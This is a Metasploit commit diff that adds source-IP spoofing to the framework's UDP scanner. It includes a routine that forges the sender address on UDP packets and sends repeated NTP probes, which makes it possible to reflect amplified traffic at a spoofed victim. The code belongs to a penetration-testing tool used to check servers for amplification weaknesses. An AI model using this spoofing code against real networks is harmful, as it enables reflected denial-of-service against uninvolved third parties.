Land rapid7#3834, @jabra-'s updates to UDPscanner to support spoofing

Author: jhart-r7

lib/msf/core/auxiliary/drdos.rb

@@ -8,6 +8,22 @@ module Msf
 ###
 module Auxiliary::DRDoS
 
+  def initialize(info = {})
+    super
+    register_advanced_options(
+      [
+        OptAddress.new('SRCIP', [false, 'Use this source IP']),
+        OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]),
+      ], self.class)
+  end
+
+  def setup
+    super
+    if spoofed? && datastore['NUM_REQUESTS'] < 1
+      raise Msf::OptionValidateError.new(['NUM_REQUESTS']), 'The number of requests must be >= 1'
+    end
+  end
+
   def prove_amplification(response_map)
     vulnerable = false
     proofs = []
@@ -43,5 +59,9 @@ def prove_amplification(response_map)
     [ vulnerable, proofs.join(', ') ]
   end
 
+  def spoofed?
+    !datastore['SRCIP'].nil?
+  end
+
 end
 end

lib/msf/core/auxiliary/ntp.rb

@@ -1,6 +1,6 @@
 # -*- coding: binary -*-
 require 'rex/proto/ntp'
-
+require 'msf/core/exploit'
 module Msf
 
 ###
@@ -10,6 +10,7 @@ module Msf
 ###
 module Auxiliary::NTP
 
+  include Exploit::Capture
   include Auxiliary::Scanner
 
   #
@@ -29,5 +30,15 @@ def initialize(info = {})
         OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3])
       ], self.class)
   end
+
+  # Called for each IP in the batch
+  def scan_host(ip)
+    if spoofed?
+      datastore['ScannerRecvWindow'] = 0
+      scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
+    else
+      scanner_send(@probe, ip, datastore['RPORT'])
+    end
+  end
 end
 end

lib/msf/core/auxiliary/udp_scanner.rb

@@ -69,6 +69,24 @@ def run_batch(batch)
     scanner_postscan(batch)
   end
 
+  # Send a spoofed packet to a given host and port
+  def scanner_spoof_send(data, ip, port, srcip, num_packets=1)
+    open_pcap
+    p = PacketFu::UDPPacket.new
+    p.ip_saddr = srcip
+    p.ip_daddr = ip
+    p.ip_ttl = 255
+    p.udp_src = (rand((2**16)-1024)+1024).to_i
+    p.udp_dst = port
+    p.payload = data
+    p.recalc
+    print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
+    1.upto(num_packets) do |x|
+      capture_sendto(p, ip)
+    end
+    close_pcap
+  end
+
   # Send a packet to a given host and port
   def scanner_send(data, ip, port)
 

modules/auxiliary/scanner/ntp/ntp_monlist.rb

@@ -46,12 +46,7 @@ def initialize
     ], self.class)
   end
 
-  # Called for each IP in the batch
-  def scan_host(ip)
-    scanner_send(@probe, ip, datastore['RPORT'])
-  end
-
-  # Called for each response packet
+# Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= { messages: [], peers: [] }
     @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data)

modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb

@@ -34,11 +34,6 @@ def initialize
     )
   end
 
-  # Called for each IP in the batch
-  def scan_host(ip)
-    scanner_send(@probe, ip, datastore['RPORT'])
-  end
-
   # Called before the scan block
   def scanner_prescan(batch)
     @results = {}

modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb

@@ -34,11 +34,6 @@ def initialize
     )
   end
 
-  # Called for each IP in the batch
-  def scan_host(ip)
-    scanner_send(@probe, ip, datastore['RPORT'])
-  end
-
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []

modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb

@@ -35,11 +35,6 @@ def initialize
     )
   end
 
-  # Called for each IP in the batch
-  def scan_host(ip)
-    scanner_send(@probe, ip, datastore['RPORT'])
-  end
-
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []

modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb

@@ -36,11 +36,6 @@ def initialize
     )
   end
 
-  # Called for each IP in the batch
-  def scan_host(ip)
-    scanner_send(@probe, ip, datastore['RPORT'])
-  end
-
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []

modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb

@@ -34,11 +34,6 @@ def initialize
     )
   end
 
-  # Called for each IP in the batch
-  def scan_host(ip)
-    scanner_send(@probe, ip, datastore['RPORT'])
-  end
-
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []